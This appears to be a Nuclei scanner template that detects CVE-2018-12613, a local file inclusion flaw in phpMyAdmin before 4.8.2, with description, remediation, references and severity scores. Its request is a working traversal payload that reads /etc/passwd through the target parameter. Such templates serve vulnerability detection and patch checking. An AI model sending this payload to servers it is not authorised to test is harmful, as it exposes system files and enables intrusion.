id: CVE-2018-12613 info: name: PhpMyAdmin <4.8.2 - Local File Inclusion author: pikpikcu severity: high description: PhpMyAdmin before version 4.8.2 is susceptible to local file inclusion that allows an attacker to include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication). remediation: | Upgrade PhpMyAdmin to version 4.8.2 or later to fix the vulnerability. reference: - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613 - https://www.phpmyadmin.net/security/PMASA-2018-4/ - https://www.exploit-db.com/exploits/44928/ - https://nvd.nist.gov/vuln/detail/CVE-2018-12613 - https://security.gentoo.org/glsa/201904-16 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2018-12613 cwe-id: CWE-287 epss-score: 0.97455 epss-percentile: 0.99945 cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: phpmyadmin product: phpmyadmin tags: vulhub,edb,cve,cve2018,phpmyadmin,lfi http: - method: GET path: - '{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd' matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022100ad66f0046226a5e104fb550a116fcc7d21b0398304f14331feec5cd2a35ef1da022071fcfa7d52dde09feea20e7de506faf9ec2bf65ccf91534f979ede9afda335b6:922c64590222798bb761d5b6d8e72950
